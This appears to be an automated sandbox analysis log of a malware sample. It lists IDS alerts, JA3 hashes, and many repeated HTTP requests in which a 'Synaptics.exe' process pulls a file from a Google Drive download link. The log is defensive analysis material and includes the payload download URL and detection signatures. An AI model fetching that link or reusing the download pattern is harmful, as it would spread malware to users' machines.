Source: Joe Sandbox View	JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1
Source: Joe Sandbox View	JA3 fingerprint: 37f463bf4616ecd445d4a1937da06e19

Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:50128 -> 13.107.246.45:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:50136 -> 13.107.246.45:443
Source: Network traffic	Suricata IDS: 2022930 - Severity 1 - ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow : 20.12.23.50:443 -> 192.168.2.5:49761
Source: Network traffic	Suricata IDS: 2022930 - Severity 1 - ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow : 20.12.23.50:443 -> 192.168.2.5:50050

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: C:\Users\user\Desktop\._cache_System Volume Information.exe

Code function: 2_2_009E1150 InternetOpenW,InternetConnectW,HttpOpenRequestW,HttpSendRequestW,HttpQueryInfoW,HttpQueryInfoW,HttpQueryInfoW,GetProcessHeap,HeapAlloc,InternetReadFile,InternetReadFile,GetProcessHeap,HeapFree,InternetCloseHandle,InternetCloseHandle,InternetCloseHandle,

2_2_009E1150

Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=518=DwAin6pYmnRWe_v7rUP4M1SBl_g9os_JYdmxiVzJ4AAUpXz_ISeazz6hImO1ECLh1-DCp51tOITR0NLD-tpoIvszsQoM-y1LxedFZ2i_w21gkRU-e_hQDTuWZIlo0xLwHpbcjrm9i8llcdDK93rICzE7TrwffgZGcC7JBl-O1pGbs4yWnKQ
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=518=DwAin6pYmnRWe_v7rUP4M1SBl_g9os_JYdmxiVzJ4AAUpXz_ISeazz6hImO1ECLh1-DCp51tOITR0NLD-tpoIvszsQoM-y1LxedFZ2i_w21gkRU-e_hQDTuWZIlo0xLwHpbcjrm9i8llcdDK93rICzE7TrwffgZGcC7JBl-O1pGbs4yWnKQ
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=518=DwAin6pYmnRWe_v7rUP4M1SBl_g9os_JYdmxiVzJ4AAUpXz_ISeazz6hImO1ECLh1-DCp51tOITR0NLD-tpoIvszsQoM-y1LxedFZ2i_w21gkRU-e_hQDTuWZIlo0xLwHpbcjrm9i8llcdDK93rICzE7TrwffgZGcC7JBl-O1pGbs4yWnKQ
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=518=DwAin6pYmnRWe_v7rUP4M1SBl_g9os_JYdmxiVzJ4AAUpXz_ISeazz6hImO1ECLh1-DCp51tOITR0NLD-tpoIvszsQoM-y1LxedFZ2i_w21gkRU-e_hQDTuWZIlo0xLwHpbcjrm9i8llcdDK93rICzE7TrwffgZGcC7JBl-O1pGbs4yWnKQ
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=518=DwAin6pYmnRWe_v7rUP4M1SBl_g9os_JYdmxiVzJ4AAUpXz_ISeazz6hImO1ECLh1-DCp51tOITR0NLD-tpoIvszsQoM-y1LxedFZ2i_w21gkRU-e_hQDTuWZIlo0xLwHpbcjrm9i8llcdDK93rICzE7TrwffgZGcC7JBl-O1pGbs4yWnKQ
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=518=DwAin6pYmnRWe_v7rUP4M1SBl_g9os_JYdmxiVzJ4AAUpXz_ISeazz6hImO1ECLh1-DCp51tOITR0NLD-tpoIvszsQoM-y1LxedFZ2i_w21gkRU-e_hQDTuWZIlo0xLwHpbcjrm9i8llcdDK93rICzE7TrwffgZGcC7JBl-O1pGbs4yWnKQ
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=518=DwAin6pYmnRWe_v7rUP4M1SBl_g9os_JYdmxiVzJ4AAUpXz_ISeazz6hImO1ECLh1-DCp51tOITR0NLD-tpoIvszsQoM-y1LxedFZ2i_w21gkRU-e_hQDTuWZIlo0xLwHpbcjrm9i8llcdDK93rICzE7TrwffgZGcC7JBl-O1pGbs4yWnKQ
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=518=DwAin6pYmnRWe_v7rUP4M1SBl_g9os_JYdmxiVzJ4AAUpXz_ISeazz6hImO1ECLh1-DCp51tOITR0NLD-tpoIvszsQoM-y1LxedFZ2i_w21gkRU-e_hQDTuWZIlo0xLwHpbcjrm9i8llcdDK93rICzE7TrwffgZGcC7JBl-O1pGbs4yWnKQ
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=518=DwAin6pYmnRWe_v7rUP4M1SBl_g9os_JYdmxiVzJ4AAUpXz_ISeazz6hImO1ECLh1-DCp51tOITR0NLD-tpoIvszsQoM-y1LxedFZ2i_w21gkRU-e_hQDTuWZIlo0xLwHpbcjrm9i8llcdDK93rICzE7TrwffgZGcC7JBl-O1pGbs4yWnKQ
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=518=DwAin6pYmnRWe_v7rUP4M1SBl_g9os_JYdmxiVzJ4AAUpXz_ISeazz6hImO1ECLh1-DCp51tOITR0NLD-tpoIvszsQoM-y1LxedFZ2i_w21gkRU-e_hQDTuWZIlo0xLwHpbcjrm9i8llcdDK93rICzE7TrwffgZGcC7JBl-O1pGbs4yWnKQ
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=518=DwAin6pYmnRWe_v7rUP4M1SBl_g9os_JYdmxiVzJ4AAUpXz_ISeazz6hImO1ECLh1-DCp51tOITR0NLD-tpoIvszsQoM-y1LxedFZ2i_w21gkRU-e_hQDTuWZIlo0xLwHpbcjrm9i8llcdDK93rICzE7TrwffgZGcC7JBl-O1pGbs4yWnKQ
Source: global traffic	HTTP traffic detected: GET /rules/other-Win32-v19.bundle HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=518=DwAin6pYmnRWe_v7rUP4M1SBl_g9os_JYdmxiVzJ4AAUpXz_ISeazz6hImO1ECLh1-DCp51tOITR0NLD-tpoIvszsQoM-y1LxedFZ2i_w21gkRU-e_hQDTuWZIlo0xLwHpbcjrm9i8llcdDK93rICzE7TrwffgZGcC7JBl-O1pGbs4yWnKQ
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=518=qXCc1ItKy39zclishG3lJPWHQIXig-czns6rA7aMGgjqjClusxZU9ws5ACNPo6F3tkb29OjltQKotVk7HqnFjdbvkbI6QwiZ0bcUdju9-7a05VRNl2xR-3dkjo3cCq43-kMr_ZXasnEXsgnzns5RVgvknKJ2IPf8v5cxrNztWP9OsLoNzWE
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=518=DwAin6pYmnRWe_v7rUP4M1SBl_g9os_JYdmxiVzJ4AAUpXz_ISeazz6hImO1ECLh1-DCp51tOITR0NLD-tpoIvszsQoM-y1LxedFZ2i_w21gkRU-e_hQDTuWZIlo0xLwHpbcjrm9i8llcdDK93rICzE7TrwffgZGcC7JBl-O1pGbs4yWnKQ
Source: global traffic	HTTP traffic detected: GET /rules/rule120402v21s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120600v4s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224902v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120608v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120609v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=518=K3YA05x7a7wPcF88R7Dw84WMKjQ6873DnHLR0LDQGgc1MteC2G4ONn395vfZJqjk156Vzxx1_lIu06nshB5Ed1NY55eq3dN6KRQvGYzWjVowpXj9p2zZi3HhDXnkEl-_s9rmiEicjyouHMKJ58sqyP_d0c1v3p5pEUooYDO1QtMNLVq6H1Y
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=518=DwAin6pYmnRWe_v7rUP4M1SBl_g9os_JYdmxiVzJ4AAUpXz_ISeazz6hImO1ECLh1-DCp51tOITR0NLD-tpoIvszsQoM-y1LxedFZ2i_w21gkRU-e_hQDTuWZIlo0xLwHpbcjrm9i8llcdDK93rICzE7TrwffgZGcC7JBl-O1pGbs4yWnKQ
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=518=DwAin6pYmnRWe_v7rUP4M1SBl_g9os_JYdmxiVzJ4AAUpXz_ISeazz6hImO1ECLh1-DCp51tOITR0NLD-tpoIvszsQoM-y1LxedFZ2i_w21gkRU-e_hQDTuWZIlo0xLwHpbcjrm9i8llcdDK93rICzE7TrwffgZGcC7JBl-O1pGbs4yWnKQ
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=518=K3YA05x7a7wPcF88R7Dw84WMKjQ6873DnHLR0LDQGgc1MteC2G4ONn395vfZJqjk156Vzxx1_lIu06nshB5Ed1NY55eq3dN6KRQvGYzWjVowpXj9p2zZi3HhDXnkEl-_s9rmiEicjyouHMKJ58sqyP_d0c1v3p5pEUooYDO1QtMNLVq6H1Y
Source: global traffic	HTTP traffic detected: GET /rules/rule120611v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120610v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120612v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120613v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120614v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=518=K3YA05x7a7wPcF88R7Dw84WMKjQ6873DnHLR0LDQGgc1MteC2G4ONn395vfZJqjk156Vzxx1_lIu06nshB5Ed1NY55eq3dN6KRQvGYzWjVowpXj9p2zZi3HhDXnkEl-_s9rmiEicjyouHMKJ58sqyP_d0c1v3p5pEUooYDO1QtMNLVq6H1Y
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=518=K3YA05x7a7wPcF88R7Dw84WMKjQ6873DnHLR0LDQGgc1MteC2G4ONn395vfZJqjk156Vzxx1_lIu06nshB5Ed1NY55eq3dN6KRQvGYzWjVowpXj9p2zZi3HhDXnkEl-_s9rmiEicjyouHMKJ58sqyP_d0c1v3p5pEUooYDO1QtMNLVq6H1Y
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=518=DwAin6pYmnRWe_v7rUP4M1SBl_g9os_JYdmxiVzJ4AAUpXz_ISeazz6hImO1ECLh1-DCp51tOITR0NLD-tpoIvszsQoM-y1LxedFZ2i_w21gkRU-e_hQDTuWZIlo0xLwHpbcjrm9i8llcdDK93rICzE7TrwffgZGcC7JBl-O1pGbs4yWnKQ
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=518=DwAin6pYmnRWe_v7rUP4M1SBl_g9os_JYdmxiVzJ4AAUpXz_ISeazz6hImO1ECLh1-DCp51tOITR0NLD-tpoIvszsQoM-y1LxedFZ2i_w21gkRU-e_hQDTuWZIlo0xLwHpbcjrm9i8llcdDK93rICzE7TrwffgZGcC7JBl-O1pGbs4yWnKQ
Source: global traffic	HTTP traffic detected: GET /rules/rule120615v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120617v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120619v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120618v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120616v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120620v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=518=K3YA05x7a7wPcF88R7Dw84WMKjQ6873DnHLR0LDQGgc1MteC2G4ONn395vfZJqjk156Vzxx1_lIu06nshB5Ed1NY55eq3dN6KRQvGYzWjVowpXj9p2zZi3HhDXnkEl-_s9rmiEicjyouHMKJ58sqyP_d0c1v3p5pEUooYDO1QtMNLVq6H1Y
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=518=K3YA05x7a7wPcF88R7Dw84WMKjQ6873DnHLR0LDQGgc1MteC2G4ONn395vfZJqjk156Vzxx1_lIu06nshB5Ed1NY55eq3dN6KRQvGYzWjVowpXj9p2zZi3HhDXnkEl-_s9rmiEicjyouHMKJ58sqyP_d0c1v3p5pEUooYDO1QtMNLVq6H1Y
Source: global traffic	HTTP traffic detected: GET /rules/rule120621v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=518=DwAin6pYmnRWe_v7rUP4M1SBl_g9os_JYdmxiVzJ4AAUpXz_ISeazz6hImO1ECLh1-DCp51tOITR0NLD-tpoIvszsQoM-y1LxedFZ2i_w21gkRU-e_hQDTuWZIlo0xLwHpbcjrm9i8llcdDK93rICzE7TrwffgZGcC7JBl-O1pGbs4yWnKQ
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=518=DwAin6pYmnRWe_v7rUP4M1SBl_g9os_JYdmxiVzJ4AAUpXz_ISeazz6hImO1ECLh1-DCp51tOITR0NLD-tpoIvszsQoM-y1LxedFZ2i_w21gkRU-e_hQDTuWZIlo0xLwHpbcjrm9i8llcdDK93rICzE7TrwffgZGcC7JBl-O1pGbs4yWnKQ
Source: global traffic	HTTP traffic detected: GET /rules/rule120623v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120622v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120624v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120625v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120626v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
